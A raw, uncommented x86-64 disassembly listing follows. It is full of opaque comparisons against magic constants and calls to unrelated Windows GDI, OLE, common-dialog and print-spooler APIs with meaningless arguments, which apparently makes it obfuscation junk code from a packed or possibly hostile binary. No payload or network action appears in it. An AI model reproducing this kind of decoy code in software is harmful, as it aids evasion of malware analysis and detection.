mov dword [rsp + 0x2930], eax
cmp dword [rsp + 0x2930], 0x340d1586
je 0x14001c2ca
mov rax, qword [rsp + 0x4c58]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
mov dword [rsp + 0x4384], ecx
mov rdx, qword [rsp + 0x4ac0]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4384]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140146748
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov dword [rsp + 0x4390], eax
cmp dword [rsp + 0x4390], 0x942
je 0x1401468ba
jmp 0x1401469a3
movsx eax, byte [rsp + 0x12b]
movsx ecx, byte [rsp + 0x125]
sar eax, cl
mov rcx, qword [rsp + 0x4d80]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [0x140169c70]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x125]
add ecx, edx
cmp eax, ecx
je 0x14014692b
lea r9, [rsp + 0xab8]
mov r8d, 0x7d
mov edx, 0x28
mov rcx, qword [rsp + 0x1d588]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x1d588], rax
mov rax, qword [rsp + 0x4b88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
add eax, ecx
mov rcx, qword [0x140169c78]
mov word [rcx], ax
lea r9, [rsp + 0x4dd8]
mov r8d, 0x8f
lea rdx, [rsp + 0x27a0]
mov rcx, qword [rsp + 0x4ab0]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x4394], eax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4e08]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x4ae8]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x1401469c3
movsx eax, word [rsp + 0xab4]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4bc0]
mov qword [rsp + 0x1d780], rax
movabs rax, 0xa17672f8c1679f67
cmp qword [rsp + 0x1d780], rax
je 0x140146a00
movabs rax, 0xb9d0979b19bae075
cmp qword [rsp + 0x1d780], rax
je 0x140146a6f
mov rax, qword [rsp + 0x4c98]
mov rcx, qword [rsp + 0x4bc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4b68]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x4394], eax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x27c0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2888], eax
mov rax, qword [rsp + 0x4bf0]
mov ecx, dword [rsp + 0x2830]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
jmp 0x140146a95
movzx eax, byte [rsp + 0x12a]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x4d08]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4d28]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x4c00]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4ac0]
movzx ecx, word [rax]
call fcn.140148200
nop
mov rax, qword [rsp + 0x4ba0]
mov qword [rsp + 0x1d790], rax
movabs rax, 0x41560b1381e493e9
cmp qword [rsp + 0x1d790], rax
je 0x140146afa
jmp 0x140146b65
mov rax, qword [rsp + 0x4d30]
mov qword [rsp + 0x20], rax
mov r9d, 0xc4
lea r8, [rsp + 0x4c60]
mov edx, 0x62
mov rcx, qword [rsp + 0x4d68]
call qword [sym.imp.GDI32.dll_GetWinMetaFileBits]
mov dword [rsp + 0x2888], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_GetArcDirection]
mov dword [rsp + 0x28bc], eax
jmp 0x140146b84
mov rax, qword [rsp + 0x4b40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d28]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x125], al
jmp 0x140146c6c
mov rax, qword [rsp + 0x4ae0]
movzx eax, byte [rax]
mov byte [rsp + 0x4398], al
cmp byte [rsp + 0x4398], 0x24
je 0x140146ba7
jmp 0x140146ba9
jmp 0x140146bc5
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x27ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b28]
mov dword [rcx], eax
lea r9, [rsp + 0x1d700]
mov r8d, 0x50
mov edx, 4
mov rcx, qword [rsp + 0x1d700]
call qword [sym.imp.GDI32.dll_GetCharWidthFloatW]
mov dword [rsp + 0x27a0], eax
mov rax, qword [rsp + 0x4c68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ae8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov dword [rsp + 0x439c], eax
cmp dword [rsp + 0x439c], 0x105607a8
je 0x140146c3c
cmp dword [rsp + 0x439c], 0x905caa85
je 0x140146c4c
jmp 0x140146c6c
movzx ecx, byte [rsp + 0x127]
call fcn.140147df0
nop
jmp 0x140146c6c
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [0x140169c48]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4d40]
mov rax, qword [rax]
mov qword [rsp + 0x1d798], rax
movabs rax, 0x28324d9657e73dee
cmp qword [rsp + 0x1d798], rax
je 0x140146cb0
movabs rax, 0x2d7505c723d101ce
cmp qword [rsp + 0x1d798], rax
je 0x140146daf
jmp 0x140146dd2
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
mov rcx, qword [0x140169c58]
mov qword [rsp + 0x1d7a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d7a0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b98]
mov edx, dword [rsp + 0x2830]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jne 0x140146d91
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_BeginPath]
mov dword [rsp + 0x2910], eax
movsx eax, byte [rsp + 0x125]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x12a], al
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b18]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140169c68]
mov byte [rcx], al
mov dword [rsp + 0x20], 0xf3
xor r9d, r9d
mov r8d, 0x5b
mov edx, 0x73
mov rcx, qword [rsp + 0x1d530]
call qword [sym.imp.GDI32.dll_SetRectRgn]
mov dword [rsp + 0x295c], eax
jmp 0x140146dad
mov rax, qword [0x140169c60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov word [rsp + 0xac0], ax
jmp 0x140146dd2
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b38]
mov word [rcx], ax
jmp 0x140146f5c
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x4b48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x126]
or ecx, edx
cmp eax, ecx
jge 0x140146f5c
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xabc]
sub eax, ecx
movsx ecx, word [rsp + 0xab4]
movsx edx, word [rsp + 0xac0]
sub ecx, edx
cmp eax, ecx
jle 0x140146efb
mov rax, qword [rsp + 0x4ad8]
mov eax, dword [rax]
mov dword [rsp + 0x43a0], eax
cmp dword [rsp + 0x43a0], 0x6e968ea5
je 0x140146e72
jmp 0x140146eda
lea r9, [rsp + 0x1e120]
mov r8d, 0x85
mov edx, 0x9d
mov rcx, qword [rsp + 0x1d738]
call qword [sym.imp.GDI32.dll_AnimatePalette]
mov dword [rsp + 0x27a0], eax
mov rax, qword [rsp + 0x4d08]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c98], rax
mov rax, qword [rsp + 0x4bf0]
mov ecx, dword [rsp + 0x28bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
jmp 0x140146efb
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov r8d, 0xaf
lea rdx, [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_Polygon]
mov dword [rsp + 0x28b4], eax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4b48]
mov byte [rcx], al
movsx eax, byte [rsp + 0x12b]
mov rcx, qword [rsp + 0x4d28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x125], al
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x27ac], eax
movsx eax, word [rsp + 0xac0]
mov rcx, qword [rsp + 0x4c10]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140169c60]
mov word [rcx], ax
mov eax, dword [rsp + 0x2888]
mov dword [rsp + 0x43a4], eax
cmp dword [rsp + 0x43a4], 0x848f3f70
je 0x140146fd5
cmp dword [rsp + 0x43a4], 0xf30cd817
je 0x140146fba
jmp 0x140147007
movzx eax, byte [rsp + 0x12c]
movzx ecx, byte [rsp + 0x127]
add eax, ecx
mov byte [rsp + 0x126], al
jmp 0x140147007
movzx eax, word [rsp + 0xab0]
movzx ecx, word [rsp + 0x9b0]
and eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_UpdateColors]
mov dword [rsp + 0x295c], eax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4cf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4d28]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov r9, qword [rsp + 0x4bc0]
movzx r8d, word [rsp + 0x930]
mov rax, qword [rsp + 0x4d40]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x4ac0]
movzx ecx, word [rax]
call fcn.140147d00
nop
lea r8, [rsp + 0x1e500]
mov edx, 0xe1
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_GetOutlineTextMetricsW]
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
mov byte [rsp + 0x43a8], al
cmp byte [rsp + 0x43a8], 0x3f
je 0x1401470b6
jmp 0x1401470b8
jmp 0x14014712c
mov rax, qword [rsp + 0x4b28]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2798], eax
mov rax, qword [rsp + 0x4ce0]
mov rcx, qword [rsp + 0x4cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x4d30]
call qword [sym.imp.GDI32.dll_GetFontLanguageInfo]
mov dword [rsp + 0x27c0], eax
mov rax, qword [rsp + 0x4bc0]
movzx ecx, al
mov rax, qword [rsp + 0x4c98]
shl rax, cl
mov rcx, qword [rsp + 0x4d08]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [rsp + 0x27ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4c58]
mov dword [rcx], eax
movzx ecx, byte [rsp + 0x12c]
call fcn.140147df0
nop
jmp 0x14014725b
mov eax, dword [rsp + 0x27ec]
mov ecx, dword [rsp + 0x2830]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140169c58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x126]
mov byte [rsp + 0x43ac], al
cmp byte [rsp + 0x43ac], 0x13
je 0x140147192
jmp 0x1401471af
movsx eax, word [rsp + 0xab8]
movsx ecx, word [rsp + 0xa08]
add eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov word [rcx], ax
mov r9d, 0x11
lea r8, [rsp + 0x4c48]
lea rdx, [rsp + 0x4cc8]
mov rcx, qword [rsp + 0x4d98]
call qword [sym.imp.GDI32.dll_PolyDraw]
mov dword [rsp + 0x279c], eax
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2830], eax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4ae0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b50]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ba0], rax
lea r9, [rsp + 0x12a]
mov r8d, 0xd8
mov edx, 0xb3
mov rcx, qword [rsp + 0x4d98]
call qword [sym.imp.GDI32.dll_GetCharABCWidthsFloatW]
mov dword [rsp + 0x279c], eax
lea rdx, [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_GetColorAdjustment]
mov dword [rsp + 0x2890], eax
movzx ecx, byte [rsp + 0x127]
call fcn.140147df0
nop
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4c68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x127], al
mov eax, dword [rsp + 0x28bc]
mov dword [rsp + 0x43b0], eax
cmp dword [rsp + 0x43b0], 0x3c408f4f
je 0x1401472c2
jmp 0x1401472df
movsx eax, byte [rsp + 0x12a]
movsx ecx, byte [str.Eo_Bl__e]
or eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
jmp 0x1401472f6
mov edx, dword [rsp + 0x2888]
mov rax, qword [rsp + 0x4b28]
mov ecx, dword [rax]
call fcn.140148a70
nop
mov r8d, 0xc9
lea rdx, [rsp + 0x1d898]
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_PolyTextOutW]
mov dword [rsp + 0x27a0], eax
mov eax, dword [rsp + 0x2798]
mov ecx, dword [rsp + 0x2888]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27c0], eax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x27ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
lea r9, [rsp + 0x4bc0]
mov r8d, 0x69
mov edx, 0xd5
mov rcx, qword [rsp + 0x4cc8]
call qword [sym.imp.GDI32.dll_GetDIBColorTable]
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
xor eax, ecx
mov word [rsp + 0xab0], ax
movsx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x4bf8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4c60]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xabc]
or ecx, edx
cmp eax, ecx
jl 0x14014746e
mov rax, qword [rsp + 0x4bc0]
mov rcx, qword [rsp + 0x4c98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x140169c48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4b28]
mov eax, dword [rax]
mov dword [rsp + 0x43b4], eax
cmp dword [rsp + 0x43b4], 0x55e74730
je 0x14014744d
cmp dword [rsp + 0x43b4], 0x68278ac7
je 0x140147412
jmp 0x14014746c
lea r9, [rsp + 0x126]
mov r8d, 0xee
mov edx, 0x1c
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_GetCharWidthW]
mov dword [rsp + 0x2870], eax
mov rax, qword [rsp + 0x4c68]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x14014746c
mov rax, qword [0x140169c58]
mov rcx, qword [rsp + 0x4c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
jmp 0x1401474d7
mov rax, qword [rsp + 0x4cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4c90]
mov qword [rsp + 0x1d7a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d7a8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4c50]
mov rdx, qword [rsp + 0x4b08]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jl 0x1401474d7
lea r8, [rsp + 0x1dd10]
mov edx, 0xda
mov rcx, qword [rsp + 0x4cb0]
call qword [sym.imp.GDI32.dll_GetTextFaceW]
mov dword [rsp + 0x28bc], eax
mov edx, 0x96
mov ecx, 0x5f
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x2848], eax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov dword [rsp + 0x43b8], eax
cmp dword [rsp + 0x43b8], 0x4b13
je 0x140147511
jmp 0x140147544
mov rax, qword [rsp + 0x4bf0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4b98]
mov qword [rsp + 0x1d7b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d7b0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4b98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4c00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov byte [rcx], al
mov rax, qword [0x140169c48]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x140169c40]
shl rax, cl
mov qword [rsp + 0x4bc0], rax
mov rax, qword [rsp + 0x4b70]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x4ac0]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4c10]
movzx edx, word [rax]
movzx ecx, word [rsp + 0xa08]
call fcn.140148540
nop
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab0]
add eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov byte [rsp + 0x43bc], al
cmp byte [rsp + 0x43bc], 0xa5
je 0x1401475f0
jmp 0x14014760f
mov rax, qword [rsp + 0x4c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x27ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b70]
mov ecx, dword [rsp + 0x27ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
lea r8, [rsp + 0x1ea20]
lea rdx, [rsp + 0xa08]
lea rcx, [rsp + 0x4bc0]
call qword [sym.imp.ole32.dll_CoFileTimeToDosDateTime]
mov dword [rsp + 0x27a0], eax
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4b08]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bc0]
add rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
mov rax, qword [rsp + 0x4b48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x126]
shl eax, cl
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
lea rdx, [rsp + 0x1e240]
lea rcx, [rsp + 0x1d7d0]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x2840], eax
jmp 0x1401477c8
mov rax, qword [rsp + 0x4ba0]
mov rcx, qword [rsp + 0x4b08]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4b50]
jg 0x1401476f4
jmp 0x140147711
movzx eax, word [rsp + 0x9b0]
mov rcx, qword [rsp + 0x4bd8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x930], ax
movzx eax, word [rsp + 0xab0]
mov dword [rsp + 0x43c0], eax
cmp dword [rsp + 0x43c0], 0x8c3
je 0x14014773f
cmp dword [rsp + 0x43c0], 0xcbe
je 0x140147798
jmp 0x1401477c8
mov rax, qword [rsp + 0x4bf0]
mov rcx, qword [rsp + 0x4b98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4bf0]
mov dword [rcx], eax
mov rax, qword [0x140169c48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4bc0]
xor rcx, rax
mov rax, rcx
mov qword [0x140169c40], rax
xor edx, edx
lea rcx, [rsp + 0x4ba0]
call qword [sym.imp.ole32.dll_OleGetIconOfFile]
mov qword [rsp + 0x4c38], rax
jmp 0x1401477c8
mov eax, dword [rsp + 0x27c0]
mov rcx, qword [rsp + 0x4b70]
mov qword [rsp + 0x1d7b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1d7b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
mov r9, qword [0x140169c40]
movzx r8d, word [rsp + 0xab0]
mov rdx, qword [rsp + 0x4bc0]
mov rax, qword [rsp + 0x4ac0]
movzx ecx, word [rax]
call fcn.140147d00
nop
movsx eax, word [rsp + 0xab4]
mov dword [rsp + 0x43c4], eax
cmp dword [rsp + 0x43c4], 0x5a9e
je 0x14014781c
cmp dword [rsp + 0x43c4], 0x5fb7
je 0x14014783b
jmp 0x14014787b
movzx eax, word [rsp + 0x9b0]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
jmp 0x14014787b
mov dword [rsp + 0x28], 0x38
lea rax, [rsp + 0x4ac8]
mov qword [rsp + 0x20], rax
mov r9d, 0x1a
lea r8, [rsp + 0x4b68]
lea rdx, [rsp + 0x1d840]
lea rcx, [rsp + 0x1e120]
call qword [sym.imp.ole32.dll_CoMarshalInterface]
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0x4b98]
mov eax, dword [rax]
mov ecx, dword [0x140168a78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x27ec], eax
jmp 0x140147958
mov rax, qword [rsp + 0x4b98]
mov ecx, dword [0x140168a78]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x27ec], eax
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
lea rax, [rsp + 0x4ae8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x52
lea rax, [rsp + 0x1ea20]
mov qword [rsp + 0x20], rax
mov r9d, 0x86
lea r8, [rsp + 0x1de10]
lea rdx, [rsp + 0x930]
lea rcx, [rsp + 0x129]
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
mov dword [rsp + 0x4210], eax
movsx eax, byte [rsp + 0x12a]
mov rcx, qword [rsp + 0x4b80]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4b18]
mov byte [rcx], al
movsx eax, word [rsp + 0xab8]
movsx ecx, word [0x140169c50]
and eax, ecx
mov word [rsp + 0xab4], ax
mov edx, 0x27
mov ecx, 0xcd
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x27f8], eax
movzx ecx, byte [rsp + 0x126]
call fcn.140147df0
nop
jmp 0x1401479e3
movsx eax, byte [rsp + 0x125]
and eax, 0x50
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov byte [rsp + 0x43c8], al
cmp byte [rsp + 0x43c8], 0x33
je 0x1401479b2
jmp 0x1401479ce
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
sub eax, ecx
mov byte [rsp + 0x126], al
lea rcx, [rsp + 0x1de10]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x27a0], eax
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4ac8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x930]
movzx edx, word [0x140168a7c]
sub ecx, edx
cmp eax, ecx
jg 0x140147a6f
movzx eax, word [0x140168a7c]
mov rcx, qword [rsp + 0x4ac0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x125]
add eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov byte [rcx], al
lea rcx, [rsp + 0x1daf0]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x4da8], rax
movzx ecx, byte [rsp + 0x127]
call fcn.140147df0
nop
mov edx, dword [rsp + 0x27c0]
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rax]
call fcn.140148a70
nop
mov rax, qword [rsp + 0x4ae0]
movsx eax, byte [rax]
add eax, 6
mov byte [rsp + 0x125], al
mov rax, qword [rsp + 0x4ac0]
movzx eax, word [rax]
mov dword [rsp + 0x43cc], eax
cmp dword [rsp + 0x43cc], 0xda4
je 0x140147abc
jmp 0x140147adb
mov rax, qword [rsp + 0x4ae8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x127]
xor eax, ecx
mov rcx, qword [rsp + 0x4ad0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ad8]
mov ecx, dword [rsp + 0x2798]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x27ac]
mov edx, dword [rsp + 0x27c0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140147b8a
movzx eax, byte [rsp + 0x126]
mov rcx, qword [rsp + 0x4ad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ae8]
mov byte [rcx], al
lea rcx, [rsp + 0x1d9b0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x291c], eax
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x27ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2798], eax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
shl eax, cl
mov rcx, qword [rsp + 0x4ac8]
mov word [rcx], ax
lea rcx, [rsp + 0x1e120]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x27fc], eax
mov rax, qword [rsp + 0x4ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x4ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ad0]
movzx eax, byte [rax]
mov byte [rsp + 0x43d0], al
cmp byte [rsp + 0x43d0], 0x3e
je 0x140147bd2
cmp byte [rsp + 0x43d0], 0x95
je 0x140147c1a
jmp 0x140147c36
lea r9, [rsp + 0x4ad0]
mov r8d, 5
mov edx, 0x3b
mov rcx, qword [rsp + 0x4e80]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x291c], eax
mov eax, dword [rsp + 0x27c0]
mov dword [rsp + 0x27ac], eax
mov rax, qword [rsp + 0x4ad0]
movzx ecx, byte [rax]
call fcn.140147df0
nop
jmp 0x140147c36
mov eax, dword [rsp + 0x27c0]
mov ecx, dword [rsp + 0x2798]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ad8]
mov dword [rcx], eax
